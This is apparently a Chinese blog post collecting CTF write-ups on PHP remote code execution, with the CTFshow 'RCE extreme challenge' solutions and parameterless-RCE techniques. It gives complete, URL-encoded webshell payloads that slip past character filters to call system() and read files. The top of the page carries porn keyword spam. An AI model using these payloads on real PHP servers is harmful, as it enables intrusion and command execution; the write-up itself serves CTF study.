日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

一些RCE的汇总

發布時間:2023/12/8 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 一些RCE的汇总 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

RCE

  • 自增RCE
    • 參考[CTFshow-RCE極限大挑戰官方wp]
      • RCE-1[過濾.(]
      • RCE-2p[自增-Array]
      • RCE-3[自增-NAN-<=105字符]
      • RCE-4[自增-NAN-<=84字符]
      • RCE-5[自增-gettext擴展]
      • 72位字符
      • 68位字符
  • 無參數RCE
    • 參考[RCE篇之無參數rce]
    • 介紹
      • 例題
      • 一些能用上的函數

前兩天剛好ctfshow有個RCE極限大挑戰,看著還挺好玩的,稍微摸了幾個博客總結一下,感受感受大佬們的繞過技巧和思路。
直接照搬好像又不太合適,加一點點個人見解好了。

自增RCE

參考[CTFshow-RCE極限大挑戰官方wp]

wp指路

CTFshow-RCE極限大挑戰官方wp

開始復現

RCE-1[過濾.(]

題目源碼

<?php error_reporting(0); highlight_file(__FILE__); $code = $_POST['code']; $code = str_replace("(","括號",$code); $code = str_replace(".","點",$code); eval($code); ?>

過濾了(和.,wp有寫文件包含,ls看了一眼直接開擺

因為php的反引號可以執行系統命令,就可以直接POST得到flag

code=echo `$_POST[1]`;&1=cat /f*

RCE-2p[自增-Array]

題目源碼

<?php //本題靈感來自研究Y4tacker佬在吃瓜杯投稿的shellme時想到的姿勢,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow)) {if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();} } ?>

禁用了字母數字和很多符號,可以用的符號有’$_;+,可以確定是按照自增的方式來構造webshell進行RCE,payload構造過程:
從這里開始進入正題了,由于異或^和取反~都被過濾了,就可以用到數組[]和遞增++了

先解釋,順便把RCE-345里用到的N解釋一下
將數據類型轉換成字符串型,就能得到數據類型相對應的字符串

<?php // highlight_file(__FILE__); $_ = [];//Array echo $_.'<br>'; $_ = [].'';//Array echo $_.'<br>'; $_ = "$_";//Array echo $_.'<br>'; $_ = $_['!'=='@'];//Array[0]=>A echo $_.'<br>'; echo '可以通過(0/0)來構造float型的NAN,(1/0)來構造float型的INF,然后轉換成字符串型,得到"NAN"和"INF"中的字符了<br>'; @$a=(0/0);//NAN echo $a.'<br>'; @$b=(1/0);//NAN echo $b; ?>


exp就直接照抄了,因為0被過濾了,就只能用數組的A來自增了

<?php $_=[].'';//Array $_=$_[''=='$'];//A $____='_';//_ $__=$_;//A $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P $____.=$__;//_P $__=$_;//A $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O $____.=$__;//_PO $__=$_;//A $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S $____.=$__;//_POS $__=$_;//A $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T $____.=$__;//_POST $_=$____;//_POST$$_[__]($$_[_]);//$_POST[__]($_POST[_]); ?>

通過url編碼后用Burpsuite工具POST上傳即可
HackbarPOST的url編碼會被以另一種編碼上傳到服務器,導致數據失真

ctf_show=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%3D%24%5F%5B%27%27%3D%3D%27%24%27%5D%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%5F%5F%5F%5F%3B%24%24%5F%5B%5F%5F%5D%28%24%24%5F%5B%5F%5D%29%3B&__=system&_=cat /f1agaaa

RCE-3[自增-NAN-<=105字符]

題目源碼

<?php //本題靈感來自研究Y4tacker佬在吃瓜杯投稿的shellme時想到的姿勢,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 105) {if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();} } ?>

可以看到01被放出來了,然后限制了長度為105字符
用RCE-2提到的(0/0)得到N,然后自增構造出$_POST一句話木馬,過程wp里的注釋已經清楚明了了

<?php $a=(0/0);//NAN $a.=_;//NAN_ $a=$a[0];//N $a++;//O $o=$a++;//$o=$a++是先把$a的值給$o,然后再對$a進行自增,所以這一句結束的時候 $a是P,$o是O $p=$a++;//$a=>Q,$p=>P $a++;$a++;//R $s=$a++;//S $t=$a;//T $_=_;//_ $_.=$p.$o.$s.$t;//_POST $$_[0]($$_[1]);//$_POST[0]($_POST[1]);

然后常規變量名替換成不可見字符變量名,得到payload:

ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa

RCE-4[自增-NAN-<=84字符]

題目源碼

<?php //本題靈感來自研究Y4tacker佬在吃瓜杯投稿的shellme時想到的姿勢,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 84) {if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();} } ?>

開始上難度了,84字符,只可以用數字0,那么不影響我們使用(0/0)來構造NAN, 但是更為優秀的寫法可以是$a=(_/_._)[0]直接得到字母N,同時$a=(0/0._)會出現語法報錯。
先演示

<?php error_reporting(0); $a = (_/_); echo $a.'<br>'; $a = (_/_._); echo $a.'<br>'; $a = (_/_._)[0]; echo $a; ?>

payload構造過程:

<?php $a=(_/_._)[0];//直接拼接成字符串并切片 $o=++$a;//$o=++$a是先把$a進行自增,自增完成之后再將值返回,也就是這一句結束的時候 $a和$o都是O $o=++$a.$o;//$o=>PO,$a=>P $a++;//Q $a++;//R $o.=++$a;//$o=>POS,$a=>S $o.=++$a;//$o=>POST,$a=>T $_=_.$o;//_POST $$_[0]($$_[_]);//$_POST[0]($_POST[_]);

同上

ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa

RCE-5[自增-gettext擴展]

題目源碼

<?php //本題靈感來自研究Y4tacker佬在吃瓜杯投稿的shellme時想到的姿勢,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 73) {if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();} } ?>

可以劃重點記一下gettext的這個特性
限制73個字符,而且0也不可以用了,但是這里觀察到phpinfo安裝了一個擴展gettext,該擴展支持函數_() ,相當于gettext(),直接轉化為字符串。另外,其實數組下標使用未定義常量,php會warning,但是可以繼續運行,并返回下標為0的字符(現象是這樣但是實際機制需要看php源碼)。其余知識點上面都已經講過了,剩下的就是靠經驗和積累對payload進行精簡,下面是payload構造過程:

<?php $a=_(a/a)[a];//相當于gettext(0/0)[0],得到N $_=++$a;//O $_=_.++$a.$_;//_PO $a++;$a++;//R $_.=++$a.++$a;//_POST $$_[a]($$_[_]);//$_POST[a]($_POST[_])

更改變量名

ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

72位字符

$$yysd

另外說一下,被師傅們拿到了72位字符的方法,感謝@貍師傅、@yun0tian等師傅們的創意,下面是payload構造過程:

<?php $a=_(a/a)[a];//N ++$a;//O $_=$a.$a++;//PO $a++;$a++;//R $_=_.$_.++$a.++$a;//_POST $$_[a]($$_[_]);//$_POST[a]($_POST[_])

PAYLOAD

ctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa

關于為什么$_=$a.$a++;//PO,這還真說不出來,只能說,不管是$a++還是++$a,都是先第一位++,然后再照常執行++,先記著吧,后面萬一想看php內核了就去研究一下

<?php $d=1; $c=$d.$d++.$d++.$d++.$d++.$d++.$d++.$d++.$d++; echo $c."<br>"; $d=1; $c=$d.++$d.++$d.++$d.++$d.++$d.++$d.++$d.++$d; echo $c; ?>

68位字符

這個是真神,解釋了我也看不懂

師傅們實在是太強了,目前在有gettext環境下,最短的payload長度是68!payload構造過程:

$_=_(a/a)[_];//N $a=++$_;//O $$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把兩次$_++放在一起

上面第三行其實可以分開來看,php在執行的時候會先對方括號里面的內容進行解析

$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST $$a[_POST]($$a[_])//$_POST[_POST]($_POST[_])

因為$a還沒賦值,此時仍為O,所以$a[$_++/$_++]因為下標為NAN不存在就取第一位了

真的是奇思妙想,尤其是$a[$_++/$_++]這個操作,把兩個$_++;結合在一起,雖然比分開來寫多用了一個字符,但是可以把拼接_POST的操作合并在同一行里,反而節省了更多字符。實在是太強了,感謝@lazy_forever、@Article_kelp師傅的創意。
PAYLOAD2

ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa

g4_simon:感謝師傅們的積極參與,我也在出題過程中學到了很多,師傅們在幾小時內就把我研究了四天四夜的題給殺穿了,甚至比我想象的還要極限。本身CTF就是一個不斷超越自己、超越極限的過程,希望這幾個題能給師傅們帶來一些啟發。

啟發,好大的啟發。

無參數RCE

參考[RCE篇之無參數rce]

參考

RCE篇之無參數rce
PHP無參數RCE
無參數rce
淺談無參數RCE
無參數RCE總結及文件讀取學習

介紹

無參數rce,就是說在無法傳入參數的情況下,僅僅依靠傳入沒有參數的函數套娃就可以達到命令執行的效果。
核心代碼

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); }

這段代碼的核心就是只允許函數而不允許函數中的參數.通過正則匹配將不帶函數的函數替換為空,若最終結果為;則執行eval($_GET[‘code’]);
此時只能用 a(b(c()));來RCE而不是a(b(c));

例題

先來個buuctf的例題 GXY_CTF “禁止套娃”
.git源碼泄露得到index.php

<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("還差一點哦!");}}else{die("再好好想想!");}}else{die("還想讀flag,臭弟弟!");} } // highlight_file(__FILE__); ?>

三個正則,第一個禁用了一些偽協議,第二個就是無參數RCE,第三個過濾一些關鍵詞。
最總Payload為:

?exp=print_r(scandir(pos(localeconv()))); ?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

第一條從里向外解釋一下
localeconv()

php直接var_dump()可以得到

array(18) { ["decimal_point"]=> string(1) "." ["thousands_sep"]=> string(0) "" ["int_curr_symbol"]=> string(0) "" ["currency_symbol"]=> string(0) "" ["mon_decimal_point"]=> string(0) "" ["mon_thousands_sep"]=> string(0) "" ["positive_sign"]=> string(0) "" ["negative_sign"]=> string(0) "" ["int_frac_digits"]=> int(127) ["frac_digits"]=> int(127) ["p_cs_precedes"]=> int(127) ["p_sep_by_space"]=> int(127) ["n_cs_precedes"]=> int(127) ["n_sep_by_space"]=> int(127) ["p_sign_posn"]=> int(127) ["n_sign_posn"]=> int(127) ["grouping"]=> array(0) { } ["mon_grouping"]=> array(0) { } }

pos()

pos()是PHP中的內置函數,用于返回內部指針當前指向的數組中元素的值。pos()是current()的別名 與其同時使用的還有 next()指針后移并輸出內容 prev()指針前移并輸出內容

scandir()就是目錄遍歷。
連起來就是scandir(pos(localeconv()));等價于scandir('.');
print_r輸出當前內容,達到一個目錄遍歷的效果。

第二條

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse()翻轉數組
然后next()獲取到’flag.php’字符串,由于next()后的結果為字符串,所以不能next(next(Array)),局限性還是蠻大的
最后show_source()函數高亮文本內容得到flag

show_source() 函數對文件進行語法高亮顯示。 本函數是 highlight_file() 的別名。

一些能用上的函數

getenv()獲取當前環境變量 get_defined_vars()返回由所有已定義變量所組成的數組獲取的四個全局變量$_GET$_POST$_FILES$_COOKIE,返回一個二維數組 array_flip()交換數組中的鍵和值 array_rand()從數組中隨機取出一個或多個單元 array_reverse()返回單元順序相反的數組 array_flip()交換數組中的鍵和值 current()pos()返回數組中的當前單元 getallheaders()這個函數的作用是獲取http所有的頭部信息 session_id()讀取session,主要用法為session_id(session_start()) file_get_contents()將整個文件讀入一個字符串 readfile()讀取文件并寫入到輸出緩沖。 highlight_file()show_source() — 語法高亮一個文件 getcwd()取得當前工作目錄 scandir()列出指定路徑中的文件和目錄 chdir()改變目錄 dirname()返回路徑中的目錄部分 rand()產生一個隨機整數 chr()返回指定的字符 time()返回當前的 Unix 時間戳 localtime()取得本地時間localtime(time()) 返回一個數組,Array [0] 為一個 0~60 之間的數字hex2bin()轉換十六進制字符串為二進制字符串 ceil()進一法取整 sinh()雙曲正弦 cosh()雙曲余弦 tan()正切 floor():舍去法取整 sqrt()平方根 crypt()單向字符串散列hebrevc:將邏輯順序希伯來文(logical-Hebrew)轉換為視覺順序希伯來文(visual-Hebrew),并且轉換換行符 hebrevc(crypt(arg)) [crypt(serialize(array()))]:可以隨機生成一個 hash 值 第一個字符隨機是 $(大概率) 或者 .(小概率) 然后通過 ord chr 只取第一個字符 ord()返回字符串的第一個字符的 ASCII 碼值。

獲得當前目錄文件

var_dump(scandir(getcwd())); var_dump(scandir(current(localeconv())); var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))); //利用三角函數和floor ceil,這個是php7下能夠成功

獲得上級目錄文件

var_dump(scandir(dirname(getcwd()))); var_dump(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));//這種方法理論上來說,每隔47秒才能成功執行一次 var_dump(scandir(chr(ceil(sqrt(cosh(tan(tan(tan(cosh(sinh(exp(chdir(next(scandir(pos(localeconv()))))))))))))))));

總結

以上是生活随笔為你收集整理的一些RCE的汇总的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。